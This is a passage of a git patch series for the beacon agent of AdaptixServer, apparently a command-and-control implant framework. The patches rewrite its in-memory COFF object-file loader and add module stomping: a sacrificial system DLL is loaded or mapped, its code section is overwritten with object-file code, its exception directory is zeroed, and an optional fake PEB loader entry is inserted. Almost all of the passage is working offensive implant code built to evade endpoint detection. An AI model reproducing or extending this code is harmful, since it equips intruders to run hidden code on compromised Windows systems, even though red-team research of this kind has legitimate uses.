+ pRelocTable->VirtualAddress, &bigOffset, sizeof(unsigned long long)); - } - else if (pRelocTable->Type == IMAGE_REL_AMD64_ADDR32NB) // Type == 3 relocation code - { - memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int)); - if (((char*)(mapSections[pSymbol.SectionNumber - 1] + offset) - (char*)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4)) > 0xffffffff) { - return FALSE; - } - offset = ((char*)(mapSections[pSymbol.SectionNumber - 1] + offset) - (char*)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4)); - offset += pSymbolTable[pRelocTable->SymbolTableIndex].Value; - memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(int)); - } - // Type == 4,5,6,7,8,9 relocation code (make global variables) - else if (pRelocTable->Type == IMAGE_REL_AMD64_REL32 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_1 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_2 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_3 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_4 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_5) - { - offset = 0; - int typeIndex = pRelocTable->Type - 4; - - memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int)); - if (llabs((long long)procAddress - (long long)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4 + typeIndex)) > UINT_MAX) { - return FALSE; - } - offset += ((size_t)procAddress - ((size_t)mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4 + typeIndex)); - memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(int)); - } + if (pRelocTable->Type == IMAGE_REL_AMD64_ADDR64) { + memcpy(&bigOffset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(unsigned long long)); + bigOffset += (unsigned long long)procAddress; + memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &bigOffset, sizeof(unsigned long long)); + } else if (pRelocTable->Type == IMAGE_REL_AMD64_ADDR32NB) { + + memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int)); + offset += (int)((char*)mapSections[pSymbol.SectionNumber - 1] - (char*)mapSections[0]) + pSymbolTable[pRelocTable->SymbolTableIndex].Value; + memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(int)); + } else if (pRelocTable->Type == IMAGE_REL_AMD64_REL32 || + pRelocTable->Type == IMAGE_REL_AMD64_REL32_1 || + pRelocTable->Type == IMAGE_REL_AMD64_REL32_2 || + pRelocTable->Type == IMAGE_REL_AMD64_REL32_3 || + pRelocTable->Type == IMAGE_REL_AMD64_REL32_4 || + pRelocTable->Type == IMAGE_REL_AMD64_REL32_5) { + offset = 0; + int typeIndex = pRelocTable->Type - 4; + memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, + sizeof(int)); + if (llabs((long long)procAddress - (long long)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4 + typeIndex)) + > UINT_MAX) { + return FALSE; + } + offset += ((size_t)procAddress - ((size_t)mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4 + typeIndex)); + memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(int)); + } #else - if (pRelocTable->Type == IMAGE_REL_I386_DIR32) - { - offset = 0; - memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int)); - offset = (unsigned int)procAddress + offset; - memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(unsigned int)); - } - else if (pRelocTable->Type == IMAGE_REL_I386_REL32) - { - offset = 0; - memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int)); - offset = (unsigned int)procAddress - (unsigned int)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4); - memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(unsigned int)); - } + if (pRelocTable->Type == IMAGE_REL_I386_DIR32) { + offset = 0; + memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int)); + offset = (unsigned int)procAddress + offset; + memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(unsigned int)); + } else if (pRelocTable->Type == IMAGE_REL_I386_REL32) { + offset = 0; + memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int)); + offset = (unsigned int)procAddress - (unsigned int)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4); + memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(unsigned int)); + } #endif - } - pRelocTable = (COF_RELOCATION*)((char*)pRelocTable + sizeof(COF_RELOCATION)); - } - } - return status; + } + pRelocTable = (COF_RELOCATION*)((char*)pRelocTable + sizeof(COF_RELOCATION)); + } + } + return status; } void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYMBOL* pSymbolTable, COF_HEADER* pHeader, PCHAR* mapSections) { - for (int i = 0; i < pHeader->NumberOfSymbols; i++) { - if (StrCmpA(pSymbolTable[i].Name.cName, entryFuncName) == 0) { - void(*proc)(char*, unsigned long) = (void(*)(char*, unsigned long)) (mapSections[pSymbolTable[i].SectionNumber - 1] + pSymbolTable[i].Value); - proc((char*)args, argsSize); - return; - } - } - BeaconOutput(BOF_ERROR_ENTRY, NULL, 0); -} +#ifdef _WIN64 + BOF_RUNTIME_FUNCTION* rfEntries = NULL; + DWORD rfEntriesSize = 0; + int registeredCount = 0; +#endif + BOOL entryFound = FALSE; -Packer* ObjectExecute(ULONG taskId, char* targetFuncName, unsigned char* coffFile, unsigned int cofFileSize, unsigned char* args, int argsSize) -{ - COF_HEADER* pHeader = NULL; - COF_SYMBOL* pSymbolTable = NULL; - PCHAR entryFuncName = NULL; - LPVOID* mapFunctions = NULL; - BOOL result = FALSE; - PCHAR mapSections[MAX_SECTIONS] = { 0 }; - - InitBofOutputData(); - bofTaskId = taskId; - - if (!coffFile || !targetFuncName) { - goto RET; - } +#ifdef _WIN64 + for (int si = 0; si < pHeader->NumberOfSections; si++) { + COF_SECTION* s = (COF_SECTION*)((unsigned char*)pHeader + sizeof(COF_HEADER) + sizeof(COF_SECTION) * si); + + if (memcmp(s->Name, ".pdata\0\0", 8) != 0) continue; + if (!s->SizeOfRawData || !s->PointerToRawData) break; + + int numEntries = (int)(s->SizeOfRawData / sizeof(BOF_RUNTIME_FUNCTION)); + if (numEntries <= 0) break; + + DWORD bofPdataSize = s->SizeOfRawData; + BOF_RUNTIME_FUNCTION* bofPdata = (BOF_RUNTIME_FUNCTION*)MemAllocLocal(bofPdataSize); + if (!bofPdata) break; + + memcpy(bofPdata, (unsigned char*)pHeader + s->PointerToRawData, bofPdataSize); + + COF_RELOCATION* relocs = (COF_RELOCATION*)((unsigned char*)pHeader + s->PointerToRelocations); + for (int ri = 0; ri < s->NumberOfRelocations; ri++) { + COF_RELOCATION* r = &relocs[ri]; + COF_SYMBOL sym = pSymbolTable[r->SymbolTableIndex]; + + if (r->Type != IMAGE_REL_AMD64_ADDR32NB) continue; + if (sym.SectionNumber <= 0 || sym.SectionNumber > pHeader->NumberOfSections) continue; + + char* targetBase = mapSections[sym.SectionNumber - 1]; + if (!targetBase) continue; + + DWORD* field = (DWORD*)((unsigned char*)bofPdata + r->VirtualAddress); + DWORD addend = *field; + *field = (DWORD)((ULONG_PTR)targetBase - (ULONG_PTR)mapSections[0] + (DWORD)sym.Value + addend); + } + + rfEntries = bofPdata; + rfEntriesSize = bofPdataSize; + bofPdata = NULL; + { + BOOL ok = (BOOL)(ULONG_PTR)ApiNt->RtlAddFunctionTable( + (void*)rfEntries, numEntries, (DWORD64)mapSections[0] + ); + if (ok) registeredCount = 1; + } + + if (bofPdata) + MemFreeLocal((LPVOID*)&bofPdata, bofPdataSize); + break; + } +#endif - pHeader = (COF_HEADER*)coffFile; - pSymbolTable = (COF_SYMBOL*)(coffFile + pHeader->PointerToSymbolTable); + for (int i = 0; i < pHeader->NumberOfSymbols; i++) { + if (StrCmpA(pSymbolTable[i].Name.cName, entryFuncName) == 0) { + void(*proc)(char*, unsigned long) = (void(*)(char*, unsigned long)) (mapSections[pSymbolTable[i].SectionNumber - 1] + pSymbolTable[i].Value); + proc((char*)args, argsSize); + entryFound = TRUE; + break; + } + } - entryFuncName = PrepareEntryName(targetFuncName); - if (!entryFuncName) { - BeaconOutput(BOF_ERROR_ENTRY, NULL, 0); - goto RET; - } +#ifdef _WIN64 + if (rfEntries) { + if (registeredCount == 1) { + ApiNt->RtlDeleteFunctionTable((void*)rfEntries); + } else { + for (int j = 0; j < registeredCount; j++) + ApiNt->RtlDeleteFunctionTable((void*)&rfEntries[j]); + } + } +#endif - result = AllocateSections(coffFile, pHeader, mapSections); - if (!result) { - BeaconOutput(BOF_ERROR_ALLOC, NULL, 0); - goto RET; - } +RET: +#ifdef _WIN64 + if (rfEntries) + MemFreeLocal((LPVOID*)&rfEntries, rfEntriesSize); +#endif - mapFunctions = (LPVOID*) ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); - if (!mapFunctions) { - BeaconOutput(BOF_ERROR_ALLOC, NULL, 0); - goto RET; - } + if (!entryFound) + BeaconOutput(BOF_ERROR_ENTRY, NULL, 0); +} - result = ProcessRelocations(coffFile, pHeader, mapSections, pSymbolTable, mapFunctions); - if (!result) { +Packer* ObjectExecute(ULONG taskId, char* targetFuncName, unsigned char* coffFile, unsigned int cofFileSize, unsigned char* args, int argsSize) +{ + COF_HEADER* pHeader = NULL; + COF_SYMBOL* pSymbolTable = NULL; + PCHAR entryFuncName = NULL; + LPVOID mapFunctions = NULL; + BOOL result = FALSE; + PCHAR mapSections[MAX_SECTIONS] = { 0 }; + + InitBofOutputData(); + bofTaskId = taskId; + + if (!coffFile || !targetFuncName) + goto RET; + + pHeader = (COF_HEADER*)coffFile; + pSymbolTable = (COF_SYMBOL*)(coffFile + pHeader->PointerToSymbolTable); + + entryFuncName = PrepareEntryName(targetFuncName); + if (!entryFuncName) { + BeaconOutput(BOF_ERROR_ENTRY, NULL, 0); + goto RET; + } + + result = AllocateSections(coffFile, pHeader, mapSections, &mapFunctions); + if (!result) { + BeaconOutput(BOF_ERROR_ALLOC, NULL, 0); + goto RET; + } + + if (!mapFunctions) { + BeaconOutput(BOF_ERROR_ALLOC, NULL, 0); + goto RET; + } + + result = ProcessRelocations(coffFile, pHeader, mapSections, pSymbolTable, (LPVOID*)mapFunctions); + if (!result) + goto RET; - goto RET; - } +#ifdef _WIN64 + if (g_BofStomp.initialised && g_BofStomp.inUse) { + DWORD stompProt = 0; + ApiWin->VirtualProtect(g_BofStomp.cursorBase, g_BofStomp.cursorSize, PAGE_EXECUTE_READ, &stompProt); + } +#endif - ExecuteProc(entryFuncName, args, argsSize, pSymbolTable, pHeader, mapSections); + ExecuteProc(entryFuncName, args, argsSize, pSymbolTable, pHeader, mapSections); RET: - if (mapFunctions) { - ApiWin->VirtualFree(mapFunctions, 0, MEM_RELEASE); - mapFunctions = NULL; - } - - FreeFunctionName(entryFuncName); - CleanupSections(mapSections, MAX_SECTIONS); - - bofTaskId = 0; - - return bofOutputPacker; + FreeFunctionName(entryFuncName); + CleanupSections(mapSections, MAX_SECTIONS, mapFunctions); + bofTaskId = 0; + return bofOutputPacker; } \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.h index 0ee0b3c88..d80586af9 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.h @@ -3,30 +3,44 @@ #include "ApiLoader.h" #include "ApiDefines.h" #include "Packer.h" +#include "bof_stomp.h" -#define MAX_SECTIONS 25 +#define MAX_SECTIONS 25 #define MAP_FUNCTIONS_SIZE 4096 +#define UNWIND_SLOT_SIZE 16 + +#define ALIGN_UP(x, a) (((x) + ((a) - 1)) & ~((a) - 1)) #define IMAGE_REL_AMD64_ADDR64 0x0001 #define IMAGE_REL_AMD64_ADDR32NB 0x0003 #define IMAGE_REL_AMD64_REL32 0x0004 #define HASH_KEY 13 -#define BOF_ERROR_PARSE 0x101 +#define BOF_ERROR_PARSE 0x101 #define BOF_ERROR_SYMBOL 0x102 #define BOF_ERROR_MAX_FUNCS 0x103 #define BOF_ERROR_ENTRY 0x104 #define BOF_ERROR_ALLOC 0x105 typedef struct { - ULONG hash; - LPVOID proc; + ULONG hash; + LPVOID proc; } BOF_API; extern Packer* bofOutputPacker; extern int bofOutputCount; extern ULONG bofTaskId; +#ifndef _IMAGE_RUNTIME_FUNCTION_ENTRY +typedef struct _BOF_RUNTIME_FUNCTION { + DWORD BeginAddress; + DWORD EndAddress; + DWORD UnwindData; +} BOF_RUNTIME_FUNCTION; +#else +typedef _IMAGE_RUNTIME_FUNCTION_ENTRY BOF_RUNTIME_FUNCTION; +#endif + typedef struct COF_HEADER { short Machine; short NumberOfSections; @@ -75,10 +89,9 @@ typedef struct COF_SYMBOL { void InitBofOutputData(); Packer* ObjectExecute(ULONG taskId, char* targetFuncName, unsigned char* coffFile, unsigned int cofFileSize, unsigned char* args, int argsSize); - -bool AllocateSections(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections); -void CleanupSections(PCHAR* mapSections, int maxSections); +bool AllocateSections(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, LPVOID* outMapFunctions); +void CleanupSections(PCHAR* mapSections, int maxSections, LPVOID mapFunctions); bool ProcessRelocations(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, COF_SYMBOL* pSymbolTable, LPVOID* mapFunctions); -void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYMBOL* pSymbolTable, COF_HEADER* pHeader, PCHAR* mapSections); +void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize,COF_SYMBOL* pSymbolTable, COF_HEADER* pHeader, PCHAR* mapSections); char* PrepareEntryName(char* targetFuncName); -void FreeFunctionName(char* targetFuncName); \ No newline at end of file +void FreeFunctionName(char* targetFuncName); \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.cpp new file mode 100644 index 000000000..67bb14f84 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.cpp @@ -0,0 +1,352 @@ +#include "bof_stomp.h" +#include "utils.h" + +BOF_STOMP_CTX g_BofStomp = { 0 }; + +#ifndef SEC_IMAGE +#define SEC_IMAGE 0x01000000 +#endif +#ifndef SECTION_MAP_EXECUTE +#define SECTION_MAP_EXECUTE 0x0008 +#define SECTION_MAP_READ 0x0004 +#define SECTION_MAP_WRITE 0x0002 +#define SECTION_QUERY 0x0001 +#endif +#ifndef FILE_SHARE_DELETE +#define FILE_SHARE_DELETE 0x00000004 +#endif +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +#if defined(BOF_STOMP_METHOD) && BOF_STOMP_METHOD == 1 + +static SIZE_T _wstrlen(const WCHAR* s) { SIZE_T n = 0; while (s[n]) n++; return n; } + +#define FAKE_LDR_FULL_WCHARS 512 +#define FAKE_LDR_BASE_WCHARS 128 +#define FAKE_LDR_BLOCK_BYTES ((DWORD)(sizeof(LDR_DATA_TABLE_ENTRY) \ + + FAKE_LDR_FULL_WCHARS * sizeof(WCHAR) \ + + FAKE_LDR_BASE_WCHARS * sizeof(WCHAR))) + +static PLDR_DATA_TABLE_ENTRY InsertFakePebLdrEntry(PVOID viewBase, const char* dllName) +{ + PPEB pPeb; +#if defined(__x86_64__) || defined(_WIN64) + pPeb = (PPEB)__readgsqword(0x60); +#else + pPeb = (PPEB)__readfsdword(0x30); +#endif + if (!pPeb || !pPeb->Ldr) return NULL; + + PPEB_LDR_DATA pLdr = pPeb->Ldr; + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)viewBase; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)viewBase + dos->e_lfanew); + + BYTE* block = (BYTE*)MemAllocLocal(FAKE_LDR_BLOCK_BYTES); + if (!block) return NULL; + + PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)(PVOID)block; + WCHAR* fullBuf = (WCHAR*)(block + sizeof(LDR_DATA_TABLE_ENTRY)); + WCHAR* baseBuf = fullBuf + FAKE_LDR_FULL_WCHARS; + + const WCHAR sysPrefix[] = L"C:\\Windows\\System32\\"; + int fpos = 0; + for (int i = 0; sysPrefix[i] && fpos < FAKE_LDR_FULL_WCHARS - 1; i++) + fullBuf[fpos++] = sysPrefix[i]; + for (int i = 0; dllName[i] && fpos < FAKE_LDR_FULL_WCHARS - 1; i++) + fullBuf[fpos++] = (WCHAR)dllName[i]; + + int bpos = 0; + for (int i = 0; dllName[i] && bpos < FAKE_LDR_BASE_WCHARS - 1; i++) + baseBuf[bpos++] = (WCHAR)dllName[i]; + + entry->DllBase = viewBase; + entry->EntryPoint = (PVOID)((ULONG_PTR)viewBase + nt->OptionalHeader.AddressOfEntryPoint); + entry->SizeOfImage = nt->OptionalHeader.SizeOfImage; + entry->OriginalBase = (ULONG_PTR)nt->OptionalHeader.ImageBase; + entry->TimeDateStamp = nt->FileHeader.TimeDateStamp; + entry->Flags = LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED; + entry->LoadCount = 1; + + entry->FullDllName.Buffer = fullBuf; + entry->FullDllName.Length = (USHORT)(fpos * sizeof(WCHAR)); + entry->FullDllName.MaximumLength = (USHORT)((fpos + 1) * sizeof(WCHAR)); + + entry->BaseDllName.Buffer = baseBuf; + entry->BaseDllName.Length = (USHORT)(bpos * sizeof(WCHAR)); + entry->BaseDllName.MaximumLength = (USHORT)((bpos + 1) * sizeof(WCHAR)); + + PLIST_ENTRY loadTail = pLdr->InLoadOrderModuleList.Blink; + entry->InLoadOrderLinks.Flink = &pLdr->InLoadOrderModuleList; + entry->InLoadOrderLinks.Blink = loadTail; + loadTail->Flink = &entry->InLoadOrderLinks; + pLdr->InLoadOrderModuleList.Blink = &entry->InLoadOrderLinks; + + PLIST_ENTRY memTail = pLdr->InMemoryOrderModuleList.Blink; + entry->InMemoryOrderLinks.Flink = &pLdr->InMemoryOrderModuleList; + entry->InMemoryOrderLinks.Blink = memTail; + memTail->Flink = &entry->InMemoryOrderLinks; + pLdr->InMemoryOrderModuleList.Blink = &entry->InMemoryOrderLinks; + + return entry; +} + +static void RemoveFakePebLdrEntry(PLDR_DATA_TABLE_ENTRY entry) +{ + if (!entry) return; + entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink; + entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink; + entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink; + entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink; + LPVOID ptr = entry; + MemFreeLocal(&ptr, FAKE_LDR_BLOCK_BYTES); +} + +#endif + +#if !defined(BOF_STOMP_METHOD) || BOF_STOMP_METHOD == 0 + +static BOOL InitBofStompLoadLibrary(const char* sacrificialDll) +{ + HMODULE hMod = ApiWin->LoadLibraryExA((LPCSTR)sacrificialDll, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (!hMod) + return FALSE; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMod; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)hMod + dos->e_lfanew); + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + + PVOID textBase = NULL; + SIZE_T textSize = 0; + + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) { + if ((*(DWORD*)sec->Name | 0x20202020) == 'xet.') { + textBase = (PVOID)((ULONG_PTR)hMod + sec->VirtualAddress); + textSize = sec->Misc.VirtualSize; + break; + } + } + + if (!textBase || textSize == 0) + return FALSE; + + PVOID saved = MemAllocLocal((DWORD)textSize); + if (!saved) + return FALSE; + memcpy(saved, textBase, textSize); + + PVOID pdataBase = NULL; + DWORD pdataSize = 0; + { + PIMAGE_DATA_DIRECTORY excDir = + &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + if (excDir->VirtualAddress && excDir->Size) { + pdataBase = (PVOID)((ULONG_PTR)hMod + excDir->VirtualAddress); + pdataSize = excDir->Size; + } + DWORD hdProt = 0; + if (ApiWin->VirtualProtect(excDir, sizeof(IMAGE_DATA_DIRECTORY), PAGE_READWRITE, &hdProt)) { + excDir->VirtualAddress = 0; + excDir->Size = 0; + ApiWin->VirtualProtect(excDir, sizeof(IMAGE_DATA_DIRECTORY), hdProt, &hdProt); + } + } + + PVOID savedPdata = NULL; + if (pdataBase && pdataSize) { + savedPdata = MemAllocLocal(pdataSize); + if (savedPdata) { + memcpy(savedPdata, pdataBase, pdataSize); + DWORD pdataProt = 0; + ApiWin->VirtualProtect(pdataBase, pdataSize, PAGE_READWRITE, &pdataProt); + memset(pdataBase, 0, pdataSize); + ApiWin->VirtualProtect(pdataBase, pdataSize, pdataProt, &pdataProt); + } + } + + ApiWin->InitializeCriticalSection(&g_BofStomp.lock); + + g_BofStomp.hModule = hMod; + g_BofStomp.mappedView = NULL; + g_BofStomp.viewSize = 0; + g_BofStomp.method = 0; + g_BofStomp.textBase = textBase; + g_BofStomp.textSize = textSize; + g_BofStomp.savedBytes = saved; + g_BofStomp.savedSize = (DWORD)textSize; + g_BofStomp.pdataBase = pdataBase; + g_BofStomp.pdataSize = pdataSize; + g_BofStomp.savedPdata = savedPdata; + g_BofStomp.cursorBase = NULL; + g_BofStomp.cursorSize = 0; + g_BofStomp.inUse = FALSE; + g_BofStomp.initialised = TRUE; + + return TRUE; +} + +#endif + +#if defined(BOF_STOMP_METHOD) && BOF_STOMP_METHOD == 1 + +static BOOL InitBofStompNtSection(const char* sacrificialDll) +{ + WCHAR ntPath[512]; + { + const WCHAR prefix[] = L"\\??\\C:\\Windows\\System32\\"; + int wpos = 0; + for (int i = 0; prefix[i] && wpos < 490; i++) + ntPath[wpos++] = prefix[i]; + for (int i = 0; sacrificialDll[i] && wpos < 510; i++) + ntPath[wpos++] = (WCHAR)sacrificialDll[i]; + ntPath[wpos] = L'\0'; + } + + UNICODE_STRING uPath; + uPath.Buffer = ntPath; + uPath.Length = (USHORT)(_wstrlen(ntPath) * sizeof(WCHAR)); + uPath.MaximumLength = uPath.Length + sizeof(WCHAR); + + OBJECT_ATTRIBUTES objAttr; + InitializeObjectAttributes(&objAttr, &uPath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + IO_STATUS_BLOCK ioStatus = { 0 }; + HANDLE hFile = NULL; + + NTSTATUS status = ApiNt->NtOpenFile( + &hFile, + 0x001000A1, + &objAttr, + &ioStatus, + 0x00000005, + FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT + ); + if (!NT_SUCCESS(status) || !hFile) + return FALSE; + + HANDLE hSection = NULL; + status = ApiNt->NtCreateSection( + &hSection, + SECTION_MAP_READ | SECTION_MAP_EXECUTE | SECTION_QUERY, + NULL, + NULL, + PAGE_READONLY, + SEC_IMAGE, + hFile + ); + + ApiNt->NtClose(hFile); + + if (!NT_SUCCESS(status) || !hSection) + return FALSE; + + PVOID viewBase = NULL; + SIZE_T viewSize = 0; + status = ApiNt->NtMapViewOfSection( + hSection, + (HANDLE)(LONG_PTR)-1, + &viewBase, + 0, + 0, + NULL, + &viewSize, + ViewShare, + 0, + PAGE_READONLY + ); + + ApiNt->NtClose(hSection); + + if (!NT_SUCCESS(status) || !viewBase) + return FALSE; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)viewBase; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)viewBase + dos->e_lfanew); + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + + PVOID textBase = NULL; + SIZE_T textSize = 0; + + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) { + if ((*(DWORD*)sec->Name | 0x20202020) == 'xet.') { + textBase = (PVOID)((ULONG_PTR)viewBase + sec->VirtualAddress); + textSize = sec->Misc.VirtualSize; + break; + } + } + + if (!textBase || textSize == 0) { + ApiNt->NtUnmapViewOfSection((HANDLE)(LONG_PTR)-1, viewBase); + return FALSE; + } + + PVOID saved = MemAllocLocal((DWORD)textSize); + if (!saved) { + ApiNt->NtUnmapViewOfSection((HANDLE)(LONG_PTR)-1, viewBase); + return FALSE; + } + memcpy(saved, textBase, textSize); + + PVOID pdataBase = NULL; + DWORD pdataSize = 0; + { + PIMAGE_DATA_DIRECTORY excDir = + &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + if (excDir->VirtualAddress && excDir->Size) { + pdataBase = (PVOID)((ULONG_PTR)viewBase + excDir->VirtualAddress); + pdataSize = excDir->Size; + } + DWORD hdProt = 0; + if (ApiWin->VirtualProtect(excDir, sizeof(IMAGE_DATA_DIRECTORY), PAGE_READWRITE, &hdProt)) { + excDir->VirtualAddress = 0; + excDir->Size = 0; + ApiWin->VirtualProtect(excDir, sizeof(IMAGE_DATA_DIRECTORY), hdProt, &hdProt); + } + } + + PVOID savedPdata = NULL; + if (pdataBase && pdataSize) { + savedPdata = MemAllocLocal(pdataSize); + if (savedPdata) { + memcpy(savedPdata, pdataBase, pdataSize); + DWORD pdataProt = 0; + ApiWin->VirtualProtect(pdataBase, pdataSize, PAGE_READWRITE, &pdataProt); + memset(pdataBase, 0, pdataSize); + ApiWin->VirtualProtect(pdataBase, pdataSize, pdataProt, &pdataProt); + } + } + + ApiWin->InitializeCriticalSection(&g_BofStomp.lock); + + g_BofStomp.hModule = NULL; + g_BofStomp.mappedView = viewBase; + g_BofStomp.viewSize = viewSize; + g_BofStomp.method = 1; + g_BofStomp.textBase = textBase; + g_BofStomp.textSize = textSize; + g_BofStomp.savedBytes = saved; + g_BofStomp.savedSize = (DWORD)textSize; + g_BofStomp.pdataBase = pdataBase; + g_BofStomp.pdataSize = pdataSize; + g_BofStomp.savedPdata = savedPdata; + g_BofStomp.cursorBase = NULL; + g_BofStomp.cursorSize = 0; + g_BofStomp.inUse = FALSE; + g_BofStomp.initialised = TRUE; + g_BofStomp.fakeLdrEntry = InsertFakePebLdrEntry(viewBase, sacrificialDll); + + return TRUE; +} + +#endif + +BOOL InitBofStomp(const char* sacrificialDll, int method) +{ + (void)method; +#if defined(BOF_STOMP_METHOD) && BOF_STOMP_METHOD == 1 + return InitBofStompNtSection(sacrificialDll); +#else + return InitBofStompLoadLibrary(sacrificialDll); +#endif +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.h new file mode 100644 index 000000000..f01caec83 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.h @@ -0,0 +1,27 @@ +#pragma once +#include "adaptix.h" +#include "ApiLoader.h" + +typedef struct _BOF_STOMP_CTX { + HMODULE hModule; + PVOID mappedView; + SIZE_T viewSize; + int method; + PVOID textBase; + SIZE_T textSize; + PVOID savedBytes; + DWORD savedSize; + PVOID pdataBase; + DWORD pdataSize; + PVOID savedPdata; + PVOID cursorBase; + DWORD cursorSize; + BOOL inUse; + CRITICAL_SECTION lock; + BOOL initialised; + PVOID fakeLdrEntry; +} BOF_STOMP_CTX; + +extern BOF_STOMP_CTX g_BofStomp; + +BOOL InitBofStomp(const char* sacrificialDll, int method); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/config.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/config.cpp index 561101a7f..4757fc4af 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/config.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/config.cpp @@ -59,4 +59,19 @@ unsigned int getProfileSize() int isIatHidingEnabled() { return 1; +} + +int isBofStompEnabled() +{ + return 1; +} + +char* getBofStompDll() +{ + return (char*)"wmp.dll"; +} + +int getBofStompMethod() +{ + return 0; } \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/config.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/config.h index 67fa5dd89..c40caf674 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/config.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/config.h @@ -8,4 +8,10 @@ char* getProfile(); unsigned int getProfileSize(); -int isIatHidingEnabled(); \ No newline at end of file +int isIatHidingEnabled(); + +int isBofStompEnabled(); + +char* getBofStompDll(); + +int getBofStompMethod(); \ No newline at end of file From e75ba62c48b4d7b63715cbefaa9f4d8fd3d80ff7 Mon Sep 17 00:00:00 2001 From: MaorSabag Date: Sat, 21 Mar 2026 19:34:54 +0200 Subject: [PATCH 3/4] Minor fix --- .../beacon_agent/src_beacon/beacon/bof_loader.cpp | 7 ------- 1 file changed, 7 deletions(-) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp 